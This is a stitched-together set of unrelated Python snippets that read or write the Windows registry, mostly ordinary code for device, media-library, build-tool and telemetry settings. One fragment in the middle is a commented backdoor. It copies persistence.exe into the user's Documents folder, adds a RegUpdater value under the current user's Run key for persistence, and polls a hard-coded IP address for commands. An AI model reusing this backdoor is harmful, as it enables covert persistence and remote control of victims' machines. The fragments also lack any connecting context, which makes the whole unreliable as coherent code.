def __init__(self, version=None): self.stcInt = None self.stcVersionList = [] if sys.hexversion < 0x020605F0 or sys.hexversion >= 0x030500F0: raise ImportError( 'This version of StcPython requires Python version 2.6.5 up to 3.4.4' ) # STC_PRIVATE_INSTALL_DIR may either be set as a system environment # variable or directly in the script. # Windows example: # 'C:/Program Files (x86)/Spirent Communications/Spirent TestCenter 4.40/Spirent TestCenter Application' # Linux example: # /home/user/Spirent_TestCenter_4.40/Spirent_TestCenter_Application_Linux key = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Spirent Communications\Spirent TestCenter") try: i = 0 while True: stcVersion = _winreg.EnumKey(key, i) self.stcVersionList.append(stcVersion) i += 1 except WindowsError: pass if self.stcVersionList == []: print('The TestCenter Client is not installed!!') sys.exit(1) self.stcVersionList.sort() # if version == None: if version is None: version = self.stcVersionList[-1] elif version not in self.stcVersionList: print('The TestCenter Client %s is not installed!!' % version) sys.exit(1) key = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Spirent Communications\Spirent TestCenter\%s\Components\Spirent TestCenter Application" % version) stcDir, type = _winreg.QueryValueEx(key, 'TARGETDIR') stcTitle, type = _winreg.QueryValueEx(key, 'Title') stcInstallDir = stcDir + '\\' + stcTitle os.environ['STC_PRIVATE_INSTALL_DIR'] = stcInstallDir pvt_inst_dir = os.environ['STC_PRIVATE_INSTALL_DIR'] if (not os.path.exists(pvt_inst_dir) or not os.path.exists(os.path.join(pvt_inst_dir, 'stcbll.ini'))): raise ValueError(pvt_inst_dir + ' is not a valid STC install directory.') runningDir = os.getcwd() os.environ['STC_SCRIPT_RUNNING_DIR'] = runningDir os.chdir(pvt_inst_dir) if 'Spirent TestCenter Application' in sys.path[0]: sys.path[0] = pvt_inst_dir else: # sys.path.append(pvt_inst_dir) sys.path.insert(0, pvt_inst_dir) print('Begin Loading Spirent TestCenter Client ...') if sys.platform.startswith('linux'): install_exit_fix(self) if hex(sys.hexversion).startswith('0x2060'): self.stcInt = __import__('StcIntPython') elif hex(sys.hexversion).startswith('0x2070'): self.stcInt = __import__('StcIntPython27') else: self.stcInt = __import__('StcIntPython34') print('Loading Spirent TestCenter Client Successful ...') os.chdir(runningDir)
def OpenKey(key, path, index=0, access=KEY_READ): if isx64: return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY) else: return winreg.OpenKey(key, path, index, access)
if program_paths('wmic'): returncode, output = run_and_get_stdout(['wmic', 'os', 'get', 'Version']) if returncode == 0 and len(output) > 0: returncode, output = run_and_get_stdout([ 'wmic', 'cpu', 'get', 'Name,CurrentClockSpeed,L2CacheSize,L3CacheSize,Description,Caption,Manufacturer', '/format:list' ]) if returncode == 0 and len(output) > 0: print_output( 'wmic cpu get Name,CurrentClockSpeed,L2CacheSize,L3CacheSize,Description,Caption,Manufacturer /format:list', output) if 'winreg' in sys.modules or '_winreg' in sys.modules: key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Hardware\Description\System\CentralProcessor\0") processor_brand = winreg.QueryValueEx(key, "ProcessorNameString")[0] winreg.CloseKey(key) print_output('winreg processor_brand', processor_brand) key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Hardware\Description\System\CentralProcessor\0") vendor_id = winreg.QueryValueEx(key, "VendorIdentifier")[0] winreg.CloseKey(key) print_output('winreg vendor_id', vendor_id) key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Control\Session Manager\Environment") arch_string_raw = winreg.QueryValueEx(key, "PROCESSOR_ARCHITECTURE")[0] winreg.CloseKey(key)
# installed, then use the directx driver rather than the default # windib driver. # http://docs.python.org/lib/module-sys.html # 0 (VER_PLATFORM_WIN32s) Win32s on Windows 3.1 # 1 (VER_PLATFORM_WIN32_WINDOWS) Windows 95/98/ME # 2 (VER_PLATFORM_WIN32_NT) Windows NT/2000/XP # 3 (VER_PLATFORM_WIN32_CE) Windows CE if sys.getwindowsversion()[0] == 1: import _winreg try: # Get DirectX version from registry key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\DirectX') dx_version_string = _winreg.QueryValueEx(key, 'Version') key.Close() # Set video driver to directx if DirectX 5 or better is # installed. # To interpret DirectX version numbers, see this page: # http://en.wikipedia.org/wiki/DirectX#Releases minor_dx_version = int(dx_version_string.split('.')[1]) if minor_dx_version >= 5: os.environ['SDL_VIDEODRIVER'] = 'directx' # Clean up namespace del key, dx_version_string, minor_dx_version except:
# build dest path where we copy our backdor - we choose C:\Users\XY\Documents\ destination = userprof.strip('\n\r') + '\\Documents\\' + 'persistence.exe' # reconn phase 1 & 2 # verify if our script was run before and our backdoor was copied to our destination if not os.path.exists(destination): # first time our backdoor gets executed # copy our backdoor to our destination - C:\Users\XY\Documents\ shutil.copyfile(path + '\persistence.exe', destination) # create registry key called Regupdater pointing to our new backdoor path (destination) # we use HKEY_CURRENT_USER path, so we do not need admin priv key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, wreg.KEY_ALL_ACCESS) wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ, destination) key.Close() # last phase is to start a reverse connection back to our machine while True: req = requests.get('http://192.168.100.187') # send GET request to our HTTP sever command = req.text # store the received txt into command variable if 'terminate' in command: break # end loop
def onok(self, event): if self.telebox.IsChecked(): self.telekeypath = r'SOFTWARE\Policies\Microsoft\Windows\DataCollection' # Path to Telemetry key self.telekey2path = r'SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\DataCollection' # 2nd path try: self.telekey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, self.telekeypath, 0, _winreg.KEY_ALL_ACCESS) _winreg.SetValueEx(self.telekey, "AllowTelemetry", 0, _winreg.REG_SZ, "0") # Disable Telemetry _winreg.CloseKey(self.telekey) print "Telemetry key succesfully modified." except WindowsError: print "Unable to modify Telemetry key. Deleted, or is the program not elevated? Trying another method" try: self.telekey2 = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, self.telekey2path, 0, _winreg.KEY_ALL_ACCESS) _winreg.SetValueEx(self.telekey2, "AllowTelemetry", 0, _winreg.REG_SZ, "0") # Disable Telemetry _winreg.CloseKey(self.telekey2) print "2nd Telemetry key succesfully modified." except WindowsError: print "Unable to modify 2nd Telemetry key. Deleted, or is the program not elevated?" if self.diagbox.IsChecked(): self.logfile = os.path.join(os.environ['SYSTEMDRIVE'], '\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl') try: win32serviceutil.StopService('Diagnostics Tracking Service') # Stop Diagnostics Tracking Service print "Stopping DiagTrack service." except pywintypes.error: print "Couldn't stop DiagTrack service. Deleted, or is the program not elevated?" try: open(self.logfile, 'w').close() # Clear the AutoLogger file subprocess.Popen( ["echo", "y|cacls", self.logfile, "/d", "SYSTEM"], shell=True) # Prevent modification to file print "DiagTrack log succesfully cleared and locked." except IOError: print "Unable to clear DiagTrack log. Deleted, or is the program not elevated?" if self.hostbox.IsChecked(): self.MSHosts = ['adnxs.com', 'c.msn.com', 'g.msn.com', 'h1.msn.com', 'msedge.net', 'ads.msn.com', 'adnexus.net', 'ac3.msn.com', 'c.atdmt.com', 'm.adnxs.com', 'rad.msn.com', 'sO.2mdn.net', 'ads1.msn.com', 'ec.atdmt.com', 'flex.msn.com', 'rad.live.com', 'ui.skype.com', 'msftncsi.com', 'a-msedge.net', 'a.rad.msn.com', 'b.rad.msn.com', 'cdn.atdmt.com', 'm.hotmail.com', 'ads1.msads.net', 'a.ads1.msn.com', 'a.ads2.msn.com', 'apps.skype.com', 'b.ads1.msn.com', 'view.atdmt.com', 'watson.live.com', 'aidps.atdmt.com', 'preview.msn.com', 'static.2mdn.net', 'a.ads2.msads.net', 'b.ads2.msads.net', 'db3aqu.atdmt.com', 'secure.adnxs.com', 'www.msftncsi.com', 'cs1.wpc.v0cdn.net', 'live.rads.msn.com', 'ad.doubleclick.net', 'bs.serving-sys.com', 'a-0001.a-msedge.net', 'pricelist.skype.com', 'a-0001.a-msedge.net', 'a-0002.a-msedge.net', 'a-0003.a-msedge.net', 'a-0004.a-msedge.net', 'a-0005.a-msedge.net', 'a-0006.a-msedge.net', 'a-0007.a-msedge.net', 'a-0008.a-msedge.net', 'a-0009.a-msedge.net', 'choice.microsoft.com', 'watson.microsoft.com', 'feedback.windows.com', 'aka-cdn-ns.adtech.de', 'cds26.ams9.msecn.net', 'lb1.www.ms.akadns.net', 'corp.sts.microsoft.com', 'az361816.vo.msecnd.net', 'az512334.vo.msecnd.net', 'telemetry.microsoft.com', 'msntest.serving-sys.com', 'secure.flashtalking.com', 'telemetry.appex.bing.net', 'pre.footprintpredict.com', 'vortex.data.microsoft.com', 'statsfe2.ws.microsoft.com', 'statsfe1.ws.microsoft.com', 'df.telemetry.microsoft.com', 'oca.telemetry.microsoft.com', 'sqm.telemetry.microsoft.com', 'telemetry.urs.microsoft.com', 'survey.watson.microsoft.com', 'compatexchange.cloudapp.net', 'feedback.microsoft-hohm.com', 's.gateway.messenger.live.com', 'vortex-win.data.microsoft.com', 'feedback.search.microsoft.com', 'schemas.microsoft.akadns.net ', 'watson.telemetry.microsoft.com', 'choice.microsoft.com.nsatc.net', 'wes.df.telemetry.microsoft.com', 'sqm.df.telemetry.microsoft.com', 'settings-win.data.microsoft.com', 'redir.metaservices.microsoft.com', 'i1.services.social.microsoft.com', 'vortex-sandbox.data.microsoft.com', 'diagnostics.support.microsoft.com', 'watson.ppe.telemetry.microsoft.com', 'msnbot-65-55-108-23.search.msn.com', 'telecommand.telemetry.microsoft.com', 'settings-sandbox.data.microsoft.com', 'sls.update.microsoft.com.akadns.net', 'fe2.update.microsoft.com.akadns.net', 'vortex-bn2.metron.live.com.nsatc.net', 'vortex-cy2.metron.live.com.nsatc.net', 'oca.telemetry.microsoft.com.nsatc.net', 'sqm.telemetry.microsoft.com.nsatc.net', 'reports.wes.df.telemetry.microsoft.com', 'corpext.msitadfs.glbdns2.microsoft.com', 'services.wes.df.telemetry.microsoft.com', 'watson.telemetry.microsoft.com.nsatc.net', 'statsfe2.update.microsoft.com.akadns.net', 'i1.services.social.microsoft.com.nsatc.net', 'telecommand.telemetry.microsoft.com.nsatc.net', 'onesettings-db5.metron.live.nsatc.net', 'www.go.microsoft.akadns.net', 'a1961.g.akamai.net', 'a1621.g.akamai.net', 'a248.e.akamai.net', 'a1856.g2.akamai.net', 'e7341.g.akamaiedge.net', 'e7502.ce.akamaiedge.net', 'e8218.ce.akamaiedge.net', 'e2835.dspb.akamaiedge.net', 'h2.msn.com', 'hostedocsp.globalsign.com', 'bingads.microsoft.com', 'www.bingads.microsoft.com', 'ipv6.msftncsi.com.edgesuite.net', 'ipv6.msftncsi.com', 'win10.ipv6.microsoft.com', 'a978.i6g1.akamai.net', 'any.edge.bing.com'] self.IP = '0.0.0.0 ' self.MSHosts2 = [self.IP + x for x in self.MSHosts] self.hostslocation = os.path.join(os.environ['SYSTEMROOT'], 'System32\\drivers\\etc\\hosts') try: with open(self.hostslocation, 'ab') as f: f.write('\r\n' + '\r\n'.join(self.MSHosts2)) print "Domains successfully appended to HOSTS file." except WindowsError: print "Could not access HOSTS file. Is the program not elevated?" if self.onedrivebox.IsChecked(): self.onedkeypath = r'SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\OneDrive' # Path to OneDrive key try: self.onedkey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, self.onedkeypath, 0, _winreg.KEY_ALL_ACCESS) _winreg.SetValueEx(self.onedkey, "DisableFileSyncNGSC", 0, _winreg.REG_DWORD, 1) # Disable Telemetry _winreg.CloseKey(self.onedkey) print "OneDrive key succesfully modified." except WindowsError: print "Unable to modify OneDrive key. Deleted, or is the program not elevated?" if self.servicerad.Selection == 1 and self.servicebox.IsChecked(): try: win32serviceutil.RemoveService('dmwappushsvc') # Delete dmwappushsvc print "dmwappushsvc successfully deleted." except pywintypes.error: print "dmwappushsvc unable to be deleted. Deleted already, or is the program not elevated?" try: win32serviceutil.RemoveService('Diagnostics Tracking Service') # Delete the DiagnosticsTracking Service print "Diagnostics Tracking Service successfully deleted." except pywintypes.error: print "Diagnostics Tracking Service unable to be deleted. Deleted already, or is the program not elevated?" elif self.servicerad.Selection == 0 and self.servicebox.IsChecked(): self.diagkeypath = r'SYSTEM\CurrentControlSet\Services\DiagTrack' self.dmwakeypath = r'SYSTEM\CurrentControlSet\Services\dmwappushsvc' try: self.diagkey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, self.diagkeypath, 0, _winreg.KEY_ALL_ACCESS) _winreg.SetValueEx(self.diagkey, "Start", 0, _winreg.REG_DWORD, 0x0000004) _winreg.CloseKey(self.diagkey) except WindowsError: print "Unable to modify DiagTrack key. Deleted, or is the program not elevated?" try: self.dmwakey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, self.dmwakeypath, 0, _winreg.KEY_ALL_ACCESS) _winreg.SetValueEx(self.dmwakey, "Start", 0, _winreg.REG_DWORD, 0x0000004) _winreg.CloseKey(self.dmwakey) print "dmwappushsvc key successfully modified" except WindowsError: print "Unable to modify dmwappushsvc key. Deleted, or is the program not elevated?" try: win32serviceutil.StopService('Diagnostics Tracking Service') # Disable Diagnostics Tracking Service print "Diagnostics Tracking Service successfully stopped" except pywintypes.error: print "Diagnostics Tracking Service unable to be stopped. Deleted, or is the program not elevated?" try: win32serviceutil.StopService('dmwappushsvc') # Disable dmwappushsvc print "dmwappushsvc successfully stopped" except pywintypes.error: print "dmwappushsvc unable to be stopped. Deleted, or is the program not elevated?" print "Done. You can close this window after reading the log."
def winreg_processor_brand(): key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Hardware\Description\System\CentralProcessor\0") processor_brand = winreg.QueryValueEx(key, "ProcessorNameString")[0] winreg.CloseKey(key) return processor_brand
def find_lib(): dll = None plugin_path = None if sys.platform.startswith('linux'): p = find_library('vlc') try: dll = ctypes.CDLL(p) except OSError: # may fail dll = ctypes.CDLL('libvlc.so.5') elif sys.platform.startswith('win'): p = find_library('libvlc.dll') if p is None: try: # some registry settings import _winreg as w # leaner than win32api, win32con for r in w.HKEY_LOCAL_MACHINE, w.HKEY_CURRENT_USER: try: r = w.OpenKey(r, 'Software\\VideoLAN\\VLC') plugin_path, _ = w.QueryValueEx(r, 'InstallDir') w.CloseKey(r) break except w.error: pass except ImportError: # no PyWin32 pass if plugin_path is None: # try some standard locations. for p in ('Program Files\\VideoLan\\', 'VideoLan\\', 'Program Files\\', ''): p = 'C:\\' + p + 'VLC\\libvlc.dll' if os.path.exists(p): plugin_path = os.path.dirname(p) break if plugin_path is not None: # try loading p = os.getcwd() os.chdir(plugin_path) # if chdir failed, this will raise an exception dll = ctypes.CDLL('libvlc.dll') # restore cwd after dll has been loaded os.chdir(p) else: # may fail dll = ctypes.CDLL('libvlc.dll') else: plugin_path = os.path.dirname(p) dll = ctypes.CDLL(p) elif sys.platform.startswith('darwin'): # FIXME: should find a means to configure path d = '/Applications/VLC.app/Contents/MacOS/' p = d + 'lib/libvlc.dylib' if os.path.exists(p): dll = ctypes.CDLL(p) d += 'modules' if os.path.isdir(d): plugin_path = d else: # hope, some PATH is set... dll = ctypes.CDLL('libvlc.dylib') else: raise NotImplementedError('%s: %s not supported' % (sys.argv[0], sys.platform)) return (dll, plugin_path)
def winreg_vendor_id(): key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Hardware\Description\System\CentralProcessor\0") vendor_id = winreg.QueryValueEx(key, "VendorIdentifier")[0] winreg.CloseKey(key) return vendor_id
] DEFAULT_OPENOFFICE_PATH_AMD64 = [ "C:\Program Files (x86)\OpenOffice.org 3\Basis\program", "C:\Program Files (x86)\OpenOffice.org 3\program", "C:\Program Files (x86)\OpenOffice.org 3\URE\bin" ] import sys if sys.platform == 'win32': import _winreg import platform try: key = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Control\Session Manager\Environment') python_path = _winreg.QueryValueEx(key, "PYTHONPATH")[0].split(';') if python_path: sys.path.extend(python_path) else: sys.path.extend( platform.machine() == 'x86' and DEFAULT_OPENOFFICE_PATH or DEFAULT_OPENOFFICE_PATH_AMD64) except WindowsError, e: sys.path.extend(platform.machine() == 'x86' and DEFAULT_OPENOFFICE_PATH or DEFAULT_OPENOFFICE_PATH_AMD64) from check_deps import check_deps check_deps(check_list)
def winreg_raw_arch_string(): key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Control\Session Manager\Environment") raw_arch_string = winreg.QueryValueEx(key, "PROCESSOR_ARCHITECTURE")[0] winreg.CloseKey(key) return raw_arch_string
import os from _winreg import * import _winreg key_to_read = r'SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine' key_to_read1 = r'SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine' try: reg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) k = OpenKey(reg, key_to_read) hkey =_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, key_to_read) version2 = _winreg.QueryValueEx(hkey, "PowerShellVersion") version1='.'.join(version2[0])[0] print version1 except: reg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) k = OpenKey(reg, key_to_read1) hkey1 =_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, key_to_read1) version2 = _winreg.QueryValueEx(hkey1, "PowerShellVersion") version1='.'.join(version2[0])[0] print version1 if int(version1) >= 4: out=os.popen(r'powershell.exe -executionpolicy bypass "Invoke-CimMethod -Namespace root/cis SbControl -MethodName ResetSandbox"').read(); print(out); else: out=os.popen(r'powershell.exe -executionpolicy bypass "Invoke-WmiMethod -Namespace root/cis SbControl -Name ResetSandbox"').read(); print(out);
def winreg_hz_actual(): key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Hardware\Description\System\CentralProcessor\0") hz_actual = winreg.QueryValueEx(key, "~Mhz")[0] winreg.CloseKey(key) hz_actual = to_hz_string(hz_actual) return hz_actual
import _winreg as w import os os.system("C:\Users\Admin\Music\poc-poc\OPEN\serverfile.py") key = w.OpenKey(w.HKEY_CURRENT_USER, 'Printers\Defaults\New Key #1', 0, w.KEY_ALL_ACCESS) info = w.QueryInfoKey(key) for ee in range(4): name = w.EnumKey(key, 0) print name w.DeleteKey(key, name) key = w.OpenKey(w.HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 0, w.KEY_ALL_ACCESS) w.DeleteValue(key, "NameOfNewValue")
def winreg_feature_bits(): key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Hardware\Description\System\CentralProcessor\0") feature_bits = winreg.QueryValueEx(key, "FeatureSet")[0] winreg.CloseKey(key) return feature_bits
registry_key = r'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' reg_field = "PROCESSOR_ARCHITECTURE" import os import _winreg reg_key = registry_key.split(os.sep) key = getattr(_winreg, reg_key[0]) subkey = _winreg.OpenKey(key, os.sep.join(reg_key[1:]), 0, _winreg.KEY_ALL_ACCESS) (value, type) = _winreg.QueryValueEx(subkey, reg_field) print value
def internal_validate_incredibuild_registry_settings(ctx): """ Helper function to verify the correct incredibuild settings """ if Utils.unversioned_sys_platform() != 'win32': # Check windows registry only return False import _winreg if not ctx.is_option_true('use_incredibuild'): # No need to check IB settings if there is no IB return False allow_reg_updated = ctx.is_option_true('auto_update_incredibuild_settings') and \ not ctx.is_option_true('internal_dont_check_recursive_execution') and \ not Options.options.execsolution # Open the incredibuild settings registry key to validate if IB is installed properly try: ib_settings_read_only = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, IB_REGISTRY_PATH, 0, _winreg.KEY_READ) except: Logs.debug( 'lumberyard: Cannot open registry entry "HKEY_LOCAL_MACHINE\\{}"'. format(IB_REGISTRY_PATH)) Logs.warn( '[WARNING] Incredibuild does not appear to be correctly installed on your machine. Disabling Incredibuild.' ) return False def _read_ib_reg_setting(reg_key, setting_name, setting_path, expected_value): try: reg_data, reg_type = _winreg.QueryValueEx(reg_key, setting_name) return reg_data == expected_value except: Logs.debug( 'lumberyard: Cannot find a registry entry for "HKEY_LOCAL_MACHINE\\{}\\{}"' .format(setting_path, setting_name)) return False def _write_ib_reg_setting(reg_key, setting_name, setting_path, value): try: _winreg.SetValueEx(reg_key, setting_name, 0, _winreg.REG_SZ, str(value)) return True except WindowsError as e: Logs.warn( 'lumberyard: Unable write to HKEY_LOCAL_MACHINE\\{}\\{} : {}'. format(setting_path, setting_name, e.strerror)) return False valid_ib_reg_key_values = [('MaxConcurrentPDBs', '0')] is_ib_ready = True for settings_name, expected_value in valid_ib_reg_key_values: if is_ib_ready and not _read_ib_reg_setting( ib_settings_read_only, settings_name, IB_REGISTRY_PATH, expected_value): is_ib_ready = False # If we are IB ready, short-circuit out if is_ib_ready: return True # If we need updates, check if we have 'auto auto-update-incredibuild-settings' set or not if not allow_reg_updated: Logs.warn( '[WARNING] The required settings for incredibuild is not properly configured. ' ) if not ctx.is_option_true('auto_update_incredibuild_settings'): Logs.warn( "[WARNING]: Set the '--auto-update-incredibuild-settings' to True if you want to attempt to automatically update the settings" ) return False # if auto-update-incredibuild-settings is true, then attempt to update the values automatically try: ib_settings_writing = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, IB_REGISTRY_PATH, 0, _winreg.KEY_SET_VALUE | _winreg.KEY_READ) except: Logs.warn( '[WARNING] Cannot access a registry entry "HKEY_LOCAL_MACHINE\\{}" for writing.' .format(IB_REGISTRY_PATH)) Logs.warn( '[WARNING] Please run "{0}" as an administrator or change the value to "0" in the registry to ensure a correct operation of WAF' .format(WAF_EXECUTABLE)) return False # Once we get the key, attempt to update the values is_ib_updated = True for settings_name, set_value in valid_ib_reg_key_values: if is_ib_updated and not _write_ib_reg_setting( ib_settings_writing, settings_name, IB_REGISTRY_PATH, set_value): is_ib_updated = False if not is_ib_updated: Logs.warn( '[WARNING] Unable to update registry settings for incredibuild') return False Logs.info('[INFO] Registry values updated for incredibuild') return True